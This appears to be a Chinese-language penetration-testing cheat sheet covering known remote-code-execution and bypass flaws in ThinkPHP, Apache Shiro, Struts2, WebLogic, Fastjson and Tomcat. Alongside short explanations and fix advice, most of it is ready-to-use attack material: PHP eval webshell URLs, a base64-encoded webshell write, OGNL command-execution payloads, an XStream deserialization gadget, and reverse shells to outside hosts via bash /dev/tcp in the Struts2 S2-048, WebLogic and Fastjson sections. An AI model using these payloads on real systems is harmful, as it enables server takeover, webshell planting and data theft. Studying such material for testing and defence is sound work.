引言
thinkphp
2.x任意代码执行漏洞
-
版本
thinkphp2.x && php版本为5.6.29以下
-
利用
http://xx.xx.xx.xx:8080/index.php?s=/index/index/xxx/${@phpinfo()}
?s=/index/index/name/${@print(eval($_POST[1]))}
直接连接,不用落到本地 -
原理
正则
/e
执行模式能执行匹配的内容$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$depr匹配的是网页路径分隔符,$path匹配的是网页路径 '$var[\'\\1\']="\\2";' 这个替换规则一个就是把前面的正则表达式匹配到的第一个数据作为键第二个数据作为值拼一起组成一个数组。
-
修复
5.0.22/5.1.29 RCE(CVE-2019-9082)
-
利用
http://xx.xx.xx.xx/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=函数名&vars[1][]=命令参数
-
修复
if(!preg_match('/^[A-Za-z(\w)*$]/',$controller)){ throw new HttpException(404,'controller not exists'.$controller); }
只要匹配到非字母就报错
5.0.23 RCE(CVE-2018-20062)
-
利用
-
执行命令
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
-
写入phpinfo
执行pwd获取绝对路径:/var/www/public
echo "<?php phpinfo(); ?>" > /var/www/public/test.php
echo%20"<?php%20phpinfo();%20?>"%20>%20/var/www/public/test.php
-
查看是否写入
1、
ls%20-al
2、cat%20/var/www/public/test.php
3、http://192.168.253.147:8080/test.php
-
上传shell
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo%20-n%20YWFhPD9waHAgQGFzc2VydCgkX1JFUVVFU1RbJzEyMyddKTsgPz5iYmI=%20|%20base64%20-d>%20/var/www/public/pass.php
-
-
原理
看第一篇参考文章吧
Apache Shiro
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)
参考文章 [参考文章]https://blog.csdn.net/sally717/article/details/124349393
-
特征
返回包的set-cookie中有
rememberme=deleteme
字段 -
原理
Apache Shiro 是 Java 的一个安全框架,可以帮助我们完成:认证、授权、加密、会话管理、与 Web 集成、缓存等功能,应用十分广泛。
Shiro最有名的漏洞就是反序列化漏洞了,加密的用户信息序列化后存储在名为remember-me的Cookie中,攻击者使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
-
对cookie处理过程
1.信息序列化 2.AES加密 3.base64加密 4.设置到cookie里
关键点在于加密使用的密钥
-
工具
shiro_attack
先爆破密钥,再利用链进行其他功能
-
修复
升级到最新版本,且不要使用默认的key。
建议使用shiro的同学们自己找个shiro工具扫描一下,看看是否存在该漏洞。
Apache Shiro 认证绕过漏洞(CVE-2020-1957)
https://www.freebuf.com/vuls/249112.html
-
版本
Apache Shiro < 1.5.2
-
原理
Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon,authc等拦截器。anon为匿名拦截器,不需要登陆即可访问;authc为登录拦截器,需要登录才可以访问。
Shiro的URL路径表达式为Ant格式,路径通配符表示匹配零个或多个字符串,/可以匹配/hello,但是匹配不到/hello/,因为*通配符无法匹配路径。加入/hello接口设置了authc拦截器,访问/hello会进行权限判断,但如果访问的是/hello/那么将无法正确匹配URL,直接放行,进入到spring拦截器。spring中的/hello和/hello/形式的URL访问的资源是一样的,从而实现权限绕过。
-
利用
payload:
/dwdww/..;/hello/1
或其他payload:
/xxxx/..;/admin/
struts2
OGNL
OGNL 是 Object-Graph Navigation Language 的缩写,它是一种功能强大的表达式语言(Expression Language,简称为 EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。
OGNL 三要素:
表达式(Expression) 表达式是整个 OGNL 的核心,所有的 OGNL 操作都是针对表达式的解析后进行的。表达式会规定此次 OGNL 操作到底要干什么。
根对象(Root Object) 根对象可以理解为 OGNL 的操作对象。在表达式规定了“干什么”以后,你还需要指定到底“对谁干”。
上下文环境(Context) 有了表达式和根对象,我们实际上已经可以使用 OGNL 的基本功能。例如,根据表达式对根对象进行取值或者设值工作。不过实际上,在 OGNL 的内部,所有的操作都会在一个特定的环境中运行,这个环境就是 OGNL 的上下文环境(Context)。访问 context 对象时候需要在表达式中加上#。
说得再明白一些,就是这个上下文环境(Context),将规定 OGNL 的操作“在哪里进行”。
OGN L 的上下文环境是一个 Map 结构,称之为 OgnlContext。上面我们提到的根对象(Root Object),也会被加入到上下文环境中去,并且这将作为一个特殊的变量进行处理,具体就表现为针对根对象(RootObject)的存取操作的表达式是不需要增加#符号进行区分的。
触发途径 通过对一系列的 struts2 的 poc 观察,一般是通过修改 StaticMethodAccess 或是创建
ProcessBuilder 对象。
_memberAccess["allowStaticMethodAccess"]=true
// 用来授权允许调用静态方法或
new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start()
但 struts2 加强了 ognl 的验证,allowStaticMethodAccess 已经变成的 final 属性,但是任然有方法可以绕过。
s2-001(CVE-2007-4556)
-
原理
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
-
影响版本
Struts 2.0.0 - Struts 2.0.8
-
特征
框内输入%{1+2}会把其中的value值进行计算,返回3
-
POC
Get the tomcat path:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
Get the web site real path:
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
-
EXP
Execute command (command with parameter:new java.lang.String[]{“cat”,”/etc/passwd”}):
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
-
工具
很多,搜集总和
-
修复
正则过滤
%{.+?}
从 XWork 2.0.4 开始,OGNL 解析已更改,因此它不是递归的。因此,在上面的示例中,结果将是预期的%{1 + 1}。您可以获取WebWork 2.0.4或Struts 2.0.9,其中包含已更正的XWork 库。或者,您可以获取补丁并将其自己应用于 XWork 源代码。
S2-005
-
原理
s2-005 漏洞的起源源于 S2-003(受影响版本: 低于 Struts 2.0.12), struts2 会将 http 的每个参数名解析为 OGNL 语句执行(可理解为 java 代码)。OGNL 表达式通过#来访问 struts 的对象,struts 框架通过过滤#字符防止安全问题,然而通过 unicode 编码(\u0023)或 8 进制(\43)即绕过了安全限制,对于 S2-003 漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用 OGNL 表达式将这 2 个选项打开
影响版本:
Struts 2.0.0-2.1.8.1
S2-007
-
原理
age 当配置了验证规则,类型转换出错时,进行了错误的字符串拼接,进而造成了 OGNL 语句的执行。
当用户提交 age 为字符串而非整形数值时,后端用代码拼接
"'" + value + "'"
然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。 -
版本
Struts 2.0.0 - 2.2.3
-
POC
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('find /tmp/ -name flag*').getInputStream())) + '
S2-013(CVE-2013-1966)
-
原理
Apache Struts2的s:a和s:url标签都提供了一个
includeParams
属性。此属性允许使用的值包括none、get、all。当该属性被设置为get或all时,Apache Struts2会将用户提交的参数值作为Ognl表达式执行。攻击者可以提交带有恶意的Ongl表达式,达到执行任意Java代码的目的。只要基于Apache Struts2开发的JSP代码中使用了url/a标签并且设置了includeParams
属性为all或get
,远程攻击者即可利用此漏执行任意命令。 -
POC
/link.action?fakeParam=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
S2-045(CVE-2017-5638)
-
介绍
Apache官方发布Struts 2 紧急漏洞公告(S2-046),CVE编号CVE-2017-5638。公告中披露 ,当基于Jakarta插件上传文件时,可导致远程代码执行。例如在系统中获得管理员权限,执行添加用户。可任意查看、修改或删除文件。造成机密数据泄露,重要信息遭到篡改等重大危害。
在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的 Content-Type值来触发该漏洞,进而执行系统命令。
-
影响版本
Struts 2.3.5 - Struts 2.3.31,Struts 2.5 - Struts 2.5.10
-
POC
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
-
修复
Apache Struts 版本 2.3.32 或 2.5.1.0.1
实现 Servlet 过滤器,该过滤器将验证 Content-Type 并丢弃不匹配的可疑值的请求 multipart/form-data。
S2-046
-
原理
使用恶意的 Content-Disposition 值或者使用不合适的 Content-Length 头就可能导致远程命令执行。该漏洞与 S2-045(CVE-2017-5638)相似,漏洞触发点一样,但利用方式不同。触发漏洞需要满足的条件:
1.Content-Type 中包含 multipart/form-data
2.Content-Disposition 中 filename 包含 OGNL语句
3.文件大小大于 2G(默认情况下),通过设置 Content-Length 就可以了;或者filename 中有空字节\x00
-
影响版本
Struts 2.3.5-Struts 2.3.31,Struts 2.5- Struts 2.5.10
-
POC
45通用
S2-048(CVE-2017-9791)
-
原理
这个漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用。 而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以调用 getText() 函数,这个函数刚好又能执行OGNL表达式,同时这个 getText() 的 参数输入点,又可以被用户直接进行控制,如果这个点被恶意攻击者所控制,就可以构造恶意执行代码,从而实现一个RCE攻击。
-
POC
gangster name处
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
-
反弹shell
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.197.132/8888 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b
nc -vlp 8888
S2-052
-
原理
Struts2 S2-052远程代码执行漏洞和以往的Struts2漏洞是不同的,S2-052利用的是Java反序列化,而不是ognl。本次漏洞触发点是REST插件在解析请求中的xml文件,调用了XStreamandler,传入的数据会被默认进行反序列化,如果当传入的xml是个经过XStream序列化的恶意对象时,便造成反序列化漏洞。
-
版本
Apache Struts 2.5-Apache Struts 2.5.12
-
POC
由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type标头为application/xml在主体中传递XML数据。
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/usr/bin/touch</string> <string>/tmp/shell.txt</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
其中
<command></command>
字段为执行的命令,在/tmp下创建一个shell.txt文件。重放报错,但可以在容器/tmp文件下发现shell.txt文件,证明漏洞复现成功。 -
修复建议
1.停止使用REST插件。
2.限制服务端扩展类型:
<constant name="struts.action.extension" value="xhtml,,json" />
Weblogic
Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882&CVE-2020-14883)
-
原理
Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14883。
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
-
版本
10.3.6.0.0 12.1.3.0.0 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0
-
利用
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal
这里是双重url编码,浏览器可以解释双重url编码后的字符
https://www.it610.com/article/1305487224711712768.htm
也就是从css页面进行路径穿越到后台管理页面,但是得到的是低权限用户
CVE-2020-14883
-
影响
允许后台任意用户通过HTTP协议执行任意命令
-
方法1
代码执行、创建文件
127.0.0.1:70001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/123');")`
文件构造
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>-c</value> <value>/bin/bash</value> <value><![CDATA[bash -i >& /dev/tcp/1.1.1.1/8888 0>&1]]></value> </list> </constructor-arg> </bean> </beans>
文件放到weblogic可以访问到的服务器上
http://1.1.1.1/rce.xml
反弹shell
http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://1.1.1.1/rce.xml")`
Fastjson
-
介绍
java处理JSON数据有三个比较流行的类库,gson(google维护)、jackson、以及今天的主角fastjson,fastjson是阿里巴巴一个开源的json相关的java library,地址在这里,https://github.com/alibaba/fastjson,Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,效率较高,被广泛的用在web服务以及android上,它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象。
1.2.47RCE
-
判断
1、根据返回包判断: 任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽,如果屏蔽使用其它办法。
2、利用dnslog盲打: 构造以下payload(content-type字段为application/json),利用dnslog平台接收:{“zeo”:{“@type”:”java.net.Inet4Address”,”val”:”ntel8h.dnslog.cn”}}(不同版本,payload不同。推荐这种方式)
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://ntel8h.dnslog.cn/test", "autoCommit":true } }
探测版本payload(根据回显判断):
[{"a":"a\x] {"@type":"java.lang.AutoCloseable" a
1.2.47版本payload:
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://dnslog/", "autoCommit": true } }
1.2.67 版本后 payload:
{"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"} # 畸形: {"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}
-
利用
编译一个Exploit.java
public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.0.2/6666 0>&1"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } }
用python开启一个web服务:
python2 -m SimpleHTTPServer 6969
再用marshalsec文件开启一个rmi服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.110.133:6969/#Exploit" 6799
-
编译并开启RMI服务:
下载marshalsec:
git clone https://github.com/mbechler/marshalsec.git
安装maven:
apt-get install maven
使用maven编译marshalsec成jar包,先进入下载的marshalsec文件中:
mvn clean package -DskipTests
再用marshalsec文件开启一个rmi服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.197.132:6969/#Exploit" 6799
Burp修改包并写入POC:
POST / HTTP/1.1 Host: localhost:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 161 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://172.16.65.10:9999/test", "autoCommit":true } }
-
修复建议
补丁
正则键值对
Tomcat
-
介绍
Tomcat是我们在工作中所使用的一款开源轻量级的Web应用程序服务器。通常情况下在中小型系统或者并发量较小的场合下使用,常用来与JSP和PHP脚本结合使来解析脚本语言部署搭建网站等系统。
Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)
-
原理
ApacheTomcat服务组件中开启了http的Put方法所造成的攻击者可以利用该方法任意上传jsp木马所造成的远程代码执行漏洞。该漏洞所影响的版本从ApacheTomcat7.0.0-7.0.79
漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件
虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用
/
)来绕过了限制。 -
利用
抓包,改方式为PUT,后面直接跟上传路径,请求体写木马,上传就可以
-
修复
1、配置readonly和VirtualDirContext值为True或注释参数,禁止使用PUT方法并重启tomcat
注意:如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。
2、根据官方补丁升级最新版本